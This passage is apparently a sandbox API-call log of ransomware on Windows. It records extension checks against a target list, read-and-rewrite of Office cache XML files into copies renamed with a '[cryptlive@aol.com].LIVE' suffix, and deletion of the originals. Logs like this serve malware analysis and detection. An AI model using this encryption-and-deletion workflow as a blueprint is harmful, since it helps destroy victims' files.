lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.612] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.613] SetEndOfFile (hFile=0x180) returned 1 [0038.613] CloseHandle (hObject=0x180) returned 1 [0038.614] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.614] SetEndOfFile (hFile=0x17c) returned 1 [0038.615] CloseHandle (hObject=0x17c) returned 1 [0038.615] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.615] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.616] lstrlenW (lpString=".doc") returned 4 [0038.616] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString=".docx") returned 5 [0038.616] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.616] lstrlenW (lpString=".pdf") returned 4 [0038.616] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString=".xls") returned 4 [0038.616] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString=".xlsx") returned 5 [0038.616] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.616] lstrlenW (lpString=".ppt") returned 4 [0038.616] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.616] lstrlenW (lpString=".zip") returned 4 [0038.616] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.616] lstrlenW (lpString=".rar") returned 4 [0038.616] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString=".bz2") returned 4 [0038.616] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString=".7z") returned 3 [0038.616] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.616] lstrlenW (lpString=".dbf") returned 4 [0038.616] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.616] lstrlenW (lpString=".1cd") returned 4 [0038.616] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.616] lstrlenW (lpString=".jpg") returned 4 [0038.617] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.617] lstrlenW (lpString=".doc") returned 4 [0038.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString=".docx") returned 5 [0038.617] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.617] lstrlenW (lpString=".pdf") returned 4 [0038.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString=".xls") returned 4 [0038.617] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString=".xlsx") returned 5 [0038.617] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.617] lstrlenW (lpString=".ppt") returned 4 [0038.617] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.617] lstrlenW (lpString=".zip") returned 4 [0038.617] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.617] lstrlenW (lpString=".rar") returned 4 [0038.617] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString=".bz2") returned 4 [0038.617] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString=".7z") returned 3 [0038.617] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.617] lstrlenW (lpString=".dbf") returned 4 [0038.617] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.617] lstrlenW (lpString=".1cd") returned 4 [0038.618] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.618] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.618] lstrlenW (lpString=".jpg") returned 4 [0038.618] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.618] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.618] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0038.618] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.619] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1606) returned 1 [0038.619] CloseHandle (hObject=0x17c) returned 1 [0038.619] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0038.619] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.619] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.620] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.620] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.620] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.620] GetLastError () returned 0x0 [0038.620] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x646, lpOverlapped=0x0) returned 1 [0038.821] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x650, lpOverlapped=0x0) returned 1 [0038.822] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.822] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0038.822] SetEndOfFile (hFile=0x180) returned 1 [0038.823] CloseHandle (hObject=0x180) returned 1 [0038.823] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.823] SetEndOfFile (hFile=0x17c) returned 1 [0038.824] CloseHandle (hObject=0x17c) returned 1 [0038.824] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.824] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0038.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.847] lstrlenW (lpString=".doc") returned 4 [0038.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.847] lstrlenW (lpString=".docx") returned 5 [0038.847] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.847] lstrlenW (lpString=".pdf") returned 4 [0038.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.847] lstrlenW (lpString=".xls") returned 4 [0038.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.847] lstrlenW (lpString=".xlsx") returned 5 [0038.847] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.847] lstrlenW (lpString=".ppt") returned 4 [0038.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.847] lstrlenW (lpString=".zip") returned 4 [0038.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.847] lstrlenW (lpString=".rar") returned 4 [0038.847] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.847] lstrlenW (lpString=".bz2") returned 4 [0038.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.847] lstrlenW (lpString=".7z") returned 3 [0038.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.847] lstrlenW (lpString=".dbf") returned 4 [0038.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.847] lstrlenW (lpString=".1cd") returned 4 [0038.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.848] lstrlenW (lpString=".jpg") returned 4 [0038.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.848] lstrlenW (lpString=".doc") returned 4 [0038.848] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString=".docx") returned 5 [0038.848] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.848] lstrlenW (lpString=".pdf") returned 4 [0038.848] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString=".xls") returned 4 [0038.848] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString=".xlsx") returned 5 [0038.848] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.848] lstrlenW (lpString=".ppt") returned 4 [0038.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.848] lstrlenW (lpString=".zip") returned 4 [0038.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.848] lstrlenW (lpString=".rar") returned 4 [0038.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString=".bz2") returned 4 [0038.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString=".7z") returned 3 [0038.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.848] lstrlenW (lpString=".dbf") returned 4 [0038.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.848] lstrlenW (lpString=".1cd") returned 4 [0038.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0038.849] lstrlenW (lpString=".jpg") returned 4 [0038.849] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.849] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.849] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0038.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.850] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=913) returned 1 [0038.850] CloseHandle (hObject=0x17c) returned 1 [0038.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0038.851] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.851] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.851] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.851] GetLastError () returned 0x0 [0038.851] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x391, lpOverlapped=0x0) returned 1 [0038.853] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0038.854] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.854] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.854] SetEndOfFile (hFile=0x180) returned 1 [0038.854] CloseHandle (hObject=0x180) returned 1 [0038.856] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.856] SetEndOfFile (hFile=0x17c) returned 1 [0038.857] CloseHandle (hObject=0x17c) returned 1 [0038.857] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.857] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0038.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.858] lstrlenW (lpString=".doc") returned 4 [0038.858] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.858] lstrlenW (lpString=".docx") returned 5 [0038.858] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.858] lstrlenW (lpString=".pdf") returned 4 [0038.858] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.858] lstrlenW (lpString=".xls") returned 4 [0038.858] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.858] lstrlenW (lpString=".xlsx") returned 5 [0038.858] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.858] lstrlenW (lpString=".ppt") returned 4 [0038.858] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.858] lstrlenW (lpString=".zip") returned 4 [0038.858] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.858] lstrlenW (lpString=".rar") returned 4 [0038.858] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.858] lstrlenW (lpString=".bz2") returned 4 [0038.858] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.858] lstrlenW (lpString=".7z") returned 3 [0038.858] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString=".dbf") returned 4 [0038.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString=".1cd") returned 4 [0038.859] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString=".jpg") returned 4 [0038.859] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString=".doc") returned 4 [0038.859] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString=".docx") returned 5 [0038.859] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.859] lstrlenW (lpString=".pdf") returned 4 [0038.859] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString=".xls") returned 4 [0038.859] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString=".xlsx") returned 5 [0038.859] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.859] lstrlenW (lpString=".ppt") returned 4 [0038.859] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString=".zip") returned 4 [0038.859] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.859] lstrlenW (lpString=".rar") returned 4 [0038.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString=".bz2") returned 4 [0038.859] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString=".7z") returned 3 [0038.859] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString=".dbf") returned 4 [0038.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.859] lstrlenW (lpString=".1cd") returned 4 [0038.860] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0038.860] lstrlenW (lpString=".jpg") returned 4 [0038.860] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.860] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.860] lstrlenW (lpString="Setup.xml") returned 9 [0038.860] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.860] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1452) returned 1 [0038.860] CloseHandle (hObject=0x17c) returned 1 [0038.860] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.860] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.860] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.860] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.860] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.861] GetLastError () returned 0x0 [0038.861] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0038.862] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, 